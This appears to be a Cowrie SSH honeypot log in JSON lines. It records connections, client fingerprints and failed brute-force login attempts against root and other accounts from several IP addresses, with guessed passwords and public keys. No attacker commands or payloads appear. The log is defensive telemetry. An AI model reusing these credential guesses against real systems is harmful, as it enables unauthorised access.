{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57348,"dst_ip":"159.203.135.109","dst_port":22,"session":"be97993ca18b","protocol":"ssh","message":"New connection: 159.65.58.200:57348 (159.203.135.109:22) [session: be97993ca18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:40.090961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:40.301036Z","src_ip":"159.65.58.200","session":"be97993ca18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:40.304034Z","src_ip":"159.65.58.200","session":"be97993ca18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"strekale","password":"123456","message":"login attempt [strekale/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:41.629355Z","src_ip":"159.65.58.200","session":"be97993ca18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:43.019334Z","src_ip":"159.65.58.200","session":"be97993ca18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":44124,"dst_ip":"10.17.0.5","dst_port":22,"session":"12f3d69c7784","protocol":"ssh","message":"New connection: 194.36.147.215:44124 (10.17.0.5:22) [session: 12f3d69c7784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:43.628270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:43.632470Z","src_ip":"194.36.147.215","session":"12f3d69c7784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:43.717510Z","src_ip":"194.36.147.215","session":"12f3d69c7784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hal789","message":"login attempt [root/hal789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:43.977290Z","src_ip":"194.36.147.215","session":"12f3d69c7784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:45.065470Z","src_ip":"194.36.147.215","session":"12f3d69c7784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:55:48.886556Z","src_ip":"8.210.75.243","session":"9bf58842a75c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47010,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e77e582073","protocol":"ssh","message":"New connection: 87.251.79.125:47010 (10.17.0.5:22) [session: 73e77e582073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:05.043178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:05.047293Z","src_ip":"87.251.79.125","session":"73e77e582073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:05.119427Z","src_ip":"87.251.79.125","session":"73e77e582073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321321","message":"login attempt [root/123321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:05.334694Z","src_ip":"87.251.79.125","session":"73e77e582073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:06.404952Z","src_ip":"87.251.79.125","session":"73e77e582073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42106,"dst_ip":"10.17.0.5","dst_port":22,"session":"9347c9a3b028","protocol":"ssh","message":"New connection: 193.37.70.224:42106 (10.17.0.5:22) [session: 9347c9a3b028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:06.915420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:06.922472Z","src_ip":"193.37.70.224","session":"9347c9a3b028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.011070Z","src_ip":"193.37.70.224","session":"9347c9a3b028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071979","message":"login attempt [root/23071979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.374054Z","src_ip":"193.37.70.224","session":"9347c9a3b028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.146.37","src_port":51640,"dst_ip":"10.17.0.5","dst_port":22,"session":"20218c3c68b9","protocol":"ssh","message":"New connection: 107.173.146.37:51640 (10.17.0.5:22) [session: 20218c3c68b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.415253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.419748Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.491424Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:d8:02:1f:9e:d4:4a:8c:0f:f0:4e:3d:a6:3b:b2:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSslshUQyJUndlXW7SKtk+5ZQhURjaKwHnlk6N7uYosNHUKekjqqlHOg+B6pOw0kz8ebFviXWP5k3NHMfdN4QjO/3vMflE23FcJyQQejmiVN8Pmc7lMnKeUdti1VBVmvt+SBjfvN0fTNpc01yiimGNg6uyPVUArdbQYdQtt7b96CW38ybodQ9ab1Nh9KI5b658J1wxiyBHP9qZjvS5lJTbKTvjO45X5QTcNVE916GgpnDLFO73hv7AyCzSkrDZg4tDpCTOw1h1a9UeHoYJw2uILQYEUFZuASIflz4QqdoTt2W/pFNGXC+4dfjVBdTpgLpVapMdO9/o2EZSBXPzsBId","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:d8:02:1f:9e:d4:4a:8c:0f:f0:4e:3d:a6:3b:b2:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.835025Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:d8:02:1f:9e:d4:4a:8c:0f:f0:4e:3d:a6:3b:b2:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSslshUQyJUndlXW7SKtk+5ZQhURjaKwHnlk6N7uYosNHUKekjqqlHOg+B6pOw0kz8ebFviXWP5k3NHMfdN4QjO/3vMflE23FcJyQQejmiVN8Pmc7lMnKeUdti1VBVmvt+SBjfvN0fTNpc01yiimGNg6uyPVUArdbQYdQtt7b96CW38ybodQ9ab1Nh9KI5b658J1wxiyBHP9qZjvS5lJTbKTvjO45X5QTcNVE916GgpnDLFO73hv7AyCzSkrDZg4tDpCTOw1h1a9UeHoYJw2uILQYEUFZuASIflz4QqdoTt2W/pFNGXC+4dfjVBdTpgLpVapMdO9/o2EZSBXPzsBId","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.837962Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:54:b5:ed:7b:a0:c9:e6:1f:a3:9f:47:35:94:2a:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx0etYAMvlpPq7yW2405pMClGmucAjedN/zIabobVJ/fFQ+71S1rLlqE9yiTVasx8ODpw+mKpg9G/S2KAeoFlgBQis4JOwi1FNcBFt4XtqvW0RoFpBTnoapP1Sd6U76cRkJ0xHUbM0HVvIbBpxlz+RNMxhAbd2jCYIWoSwUIg43fAMLvYQmqPQc8M1KpbVc4i4EOJACO/CfASlpHsphIP1Uo8e/lVtbUlcBW4Gl4Kkte1mnl+gk7goxpCn5MvWVejuJgNUtrO3FhnqDWJzEveTlCFg0Fc+vdkQA+XWFdVpYM7noAkFz1jeL/5FcdiNEXHN1kcmY7bxCvjb2ghHhK+b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:54:b5:ed:7b:a0:c9:e6:1f:a3:9f:47:35:94:2a:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.910045Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:54:b5:ed:7b:a0:c9:e6:1f:a3:9f:47:35:94:2a:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx0etYAMvlpPq7yW2405pMClGmucAjedN/zIabobVJ/fFQ+71S1rLlqE9yiTVasx8ODpw+mKpg9G/S2KAeoFlgBQis4JOwi1FNcBFt4XtqvW0RoFpBTnoapP1Sd6U76cRkJ0xHUbM0HVvIbBpxlz+RNMxhAbd2jCYIWoSwUIg43fAMLvYQmqPQc8M1KpbVc4i4EOJACO/CfASlpHsphIP1Uo8e/lVtbUlcBW4Gl4Kkte1mnl+gk7goxpCn5MvWVejuJgNUtrO3FhnqDWJzEveTlCFg0Fc+vdkQA+XWFdVpYM7noAkFz1jeL/5FcdiNEXHN1kcmY7bxCvjb2ghHhK+b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:07.913256Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:34:96:28:95:06:a9:49:d4:af:ce:d6:50:c6:4f:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjygebDbbzn4orWOn1AYhboCGFsgfmtJsM5Z5iiWFFyBGX4fFbZx4TKS0pInu58KR08FulpR/h4jFxmfxZIaDqDKFGdkmOLIiB81JCkv2PbgLhJepvgWHxGEEVRkJSrdcQmufoCIvf2aKE1mL5RUzVAaEoqrFTsZuA/Fvv/bawpYgr1mXwnEEYUoOH4Ql1LVOS8dtx9KAvHJP/AkHwP7i+vuSgBxKlGBpEEkfs5bNuXPhTI2NNHHDIid/q7moOOkruJja3Af4CreWGemmYeI0rWaWcuJA+iaAJPXTRjwWKWkQHOwsugKkInK4oUz4eOTZw1NmF71hemE4tD7v++3LV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:34:96:28:95:06:a9:49:d4:af:ce:d6:50:c6:4f:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.073610Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:34:96:28:95:06:a9:49:d4:af:ce:d6:50:c6:4f:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjygebDbbzn4orWOn1AYhboCGFsgfmtJsM5Z5iiWFFyBGX4fFbZx4TKS0pInu58KR08FulpR/h4jFxmfxZIaDqDKFGdkmOLIiB81JCkv2PbgLhJepvgWHxGEEVRkJSrdcQmufoCIvf2aKE1mL5RUzVAaEoqrFTsZuA/Fvv/bawpYgr1mXwnEEYUoOH4Ql1LVOS8dtx9KAvHJP/AkHwP7i+vuSgBxKlGBpEEkfs5bNuXPhTI2NNHHDIid/q7moOOkruJja3Af4CreWGemmYeI0rWaWcuJA+iaAJPXTRjwWKWkQHOwsugKkInK4oUz4eOTZw1NmF71hemE4tD7v++3LV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.076864Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:8b:f4:6a:94:8e:35:08:b3:7c:a1:1e:8c:c1:7c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgW0NTLtpJVHy4J/4y87r3UZs4s388SdwMfT0zSC3jR+1CjdsjnXCqeWlN7BrkDq6x2suU86b2qa5Aqud+uFmYGNZK8Fi3oM7bFehOOqVS2Wy8jt16GwhHljnnF7wPPJa5Rg5bhM0svrhm6ri+jh/bkjgBHmSZOUrXU+YW/TjhLJgM2q/3Q88JOhA7pFUn2D12oD2mvWVX5MXUafq6HbXcKwyMEtWkvutZ8AuKq76x1oqsqfMzn7FhIOnLrTDxmlzz7P5lY4xtPFT04qD5N0xXe0oGS/l+DAyxBViYEo6cZL1j+Z8wH3TCMlUyjOLddY880+gxs9rg1tiJ8SRzhEC7kV4fVw7Wsm4bdawolI/rsi/8gL+XsFfTt/PEGpcvT1To+6kA5qfBoFAYG2Flbw5KTnUsN1NjnyfXrHfLpWpI2LYg0YxT1oFQzMt7UHrNEHq57RxD99berK/bdaVs/04safAp88pj+Qf91BzDETwLJ/Gzp5C5p+BNmJKAp9rPUbM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:8b:f4:6a:94:8e:35:08:b3:7c:a1:1e:8c:c1:7c:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.147799Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:8b:f4:6a:94:8e:35:08:b3:7c:a1:1e:8c:c1:7c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgW0NTLtpJVHy4J/4y87r3UZs4s388SdwMfT0zSC3jR+1CjdsjnXCqeWlN7BrkDq6x2suU86b2qa5Aqud+uFmYGNZK8Fi3oM7bFehOOqVS2Wy8jt16GwhHljnnF7wPPJa5Rg5bhM0svrhm6ri+jh/bkjgBHmSZOUrXU+YW/TjhLJgM2q/3Q88JOhA7pFUn2D12oD2mvWVX5MXUafq6HbXcKwyMEtWkvutZ8AuKq76x1oqsqfMzn7FhIOnLrTDxmlzz7P5lY4xtPFT04qD5N0xXe0oGS/l+DAyxBViYEo6cZL1j+Z8wH3TCMlUyjOLddY880+gxs9rg1tiJ8SRzhEC7kV4fVw7Wsm4bdawolI/rsi/8gL+XsFfTt/PEGpcvT1To+6kA5qfBoFAYG2Flbw5KTnUsN1NjnyfXrHfLpWpI2LYg0YxT1oFQzMt7UHrNEHq57RxD99berK/bdaVs/04safAp88pj+Qf91BzDETwLJ/Gzp5C5p+BNmJKAp9rPUbM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.151111Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:aa:c9:41:80:f4:e8:bf:84:ce:f5:72:b4:d7:49:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt2l4Ty82ghs/fWFqdmGQNAoeRf8gYmoTRDHEXvx8mJK4xFzynfTtE0E0xHGdbMMKgeOMKLYYc7mkP3oB8QlE+GBD10cz5R6VKXPG+Ks150pLvLPYLfsibLLj0QycOuPY7AQZ0p6JmTcxDFJCfAXErHktluiTb4M/tozkTZMjHPMUMxSmNCm/YYlniYZLK3V9fqLdHe4LxzmKwKHkb56AZNGxvaa2yequ7QBuLTkKmStUbVrlms9GuloLKDkU7o9f/F1FwaonfKoG8obfDadv1KM4uUjHcA9mfA1iodwMPw+tjJW5TPjbARIJB3IuY0IaCkabnMUkrwVExoafLPSp6kVcJbRaEnTXoQtAyDgX86D76ScLLkOQg0DFjdt9LBt+OwKi8urGlPn9qUutCIbQ98JJzHXzHg4XMCg6eFFN7xzUE9FhEQxWbf4mq71BAO0RBVaVwqioGRfH3ER/rOHW30X93m7monkmMYeUmyuNZ2z8FfOBC4PCGJyEnS7vY+zs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:aa:c9:41:80:f4:e8:bf:84:ce:f5:72:b4:d7:49:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.222465Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
